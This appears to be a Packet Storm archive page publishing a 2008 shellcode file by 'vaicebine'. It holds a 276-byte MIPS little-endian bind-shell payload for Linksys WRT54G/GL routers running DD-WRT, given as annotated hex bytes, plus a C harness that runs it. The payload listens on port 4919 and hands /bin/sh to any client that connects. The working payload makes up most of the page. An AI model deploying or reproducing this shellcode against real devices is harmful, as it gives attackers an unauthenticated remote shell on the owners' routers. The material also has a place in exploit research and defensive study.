exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

linksyswrt54g-bind.txt

linksyswrt54g-bind.txt
Posted Aug 18, 2008
Authored by vaicebine

linux/mips port bind 276 bytes shellcode for the Linksys WRT54G/GL.

tags | shellcode
systems | linux
SHA-256 | c2de5d98c4fde2aff589ff1ea2a12a40f24f6240a48d8697dc93fa9b1293bb35

linksyswrt54g-bind.txt

Change Mirror Download
/*  - MIPS little-endian 
* - linux port listener 276 bytes shellcode
* - execve("/bin/sh",["/bin/sh"],[]);
* - port 0x1337 (4919)
* - tested on Linksys WRT54G/GL (DD-WRT Linux)
* - based on scut paper Writing MIPS/Irix shellcode
*
* vaicebine at gmail dot com
*/
#include <stdio.h>

char port_bind_shellcode[] =
"\xe0\xff\xbd\x27" /* addiu sp,sp,-32 */
"\xfd\xff\x0e\x24" /* li t6,-3 */
"\x27\x20\xc0\x01" /* nor a0,t6,zero */
"\x27\x28\xc0\x01" /* nor a1,t6,zero */
"\xff\xff\x06\x28" /* slti a2,zero,-1 */
"\x57\x10\x02\x24" /* li v0,4183 ( __NR_socket ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\xff\xff\x50\x30" /* andi s0,v0,0xffff */
"\xef\xff\x0e\x24" /* li t6,-17 */
"\x27\x70\xc0\x01" /* nor t6,t6,zero */
"\x13\x37\x0d\x24" /* li t5,0x3713 (port 0x1337) */
"\x04\x68\xcd\x01" /* sllv t5,t5,t6 */
"\xff\xfd\x0e\x24" /* li t6,-513 */
"\x27\x70\xc0\x01" /* nor t6,t6,zero */
"\x25\x68\xae\x01" /* or t5,t5,t6 */
"\xe0\xff\xad\xaf" /* sw t5,-32(sp) */
"\xe4\xff\xa0\xaf" /* sw zero,-28(sp) */
"\xe8\xff\xa0\xaf" /* sw zero,-24(sp) */
"\xec\xff\xa0\xaf" /* sw zero,-20(sp) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\xef\xff\x0e\x24" /* li t6,-17 */
"\x27\x30\xc0\x01" /* nor a2,t6,zero */
"\xe0\xff\xa5\x23" /* addi a1,sp,-32 */
"\x49\x10\x02\x24" /* li v0,4169 ( __NR_bind ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\x01\x01\x05\x24" /* li a1,257 */
"\x4e\x10\x02\x24" /* li v0,4174 ( __NR_listen ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\xff\xff\x05\x28" /* slti a1,zero,-1 */
"\xff\xff\x06\x28" /* slti a2,zero,-1 */
"\x48\x10\x02\x24" /* li v0,4168 ( __NR_accept ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\xff\xff\x50\x30" /* andi s0,v0,0xffff */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\xfd\xff\x0f\x24" /* li t7,-3 */
"\x27\x28\xe0\x01" /* nor a1,t7,zero */
"\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\x01\x01\x05\x28" /* slti a1,zero,0x0101 */
"\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x25\x20\x10\x02" /* or a0,s0,s0 */
"\xff\xff\x05\x28" /* slti a1,zero,-1 */
"\xdf\x0f\x02\x24" /* li v0,4063 ( __NR_dup2 ) */
"\x0c\x01\x01\x01" /* syscall */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\x50\x73\x06\x24" /* li a2,0x7350 */
"\xff\xff\xd0\x04" /* LB: bltzal a2,LB */
"\x50\x73\x0f\x24" /* li t7,0x7350 (nop) */
"\xff\xff\x06\x28" /* slti a2,zero,-1 */
"\xdb\xff\x0f\x24" /* li t7,-37 */
"\x27\x78\xe0\x01" /* nor t7,t7,zero */
"\x21\x20\xef\x03" /* addu a0,ra,t7 */
"\xf0\xff\xa4\xaf" /* sw a0,-16(sp) */
"\xf4\xff\xa0\xaf" /* sw zero,-12(sp) */
"\xf0\xff\xa5\x23" /* addi a1,sp,-16 */
"\xab\x0f\x02\x24" /* li v0,4011 ( __NR_execve ) */
"\x0c\x01\x01\x01" /* syscall */
"/bin/sh";

int main()
{
void (*p)(void);
p = port_bind_shellcode;
printf("shellcode size %d\n", sizeof(port_bind_shellcode));
p();

return 0;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close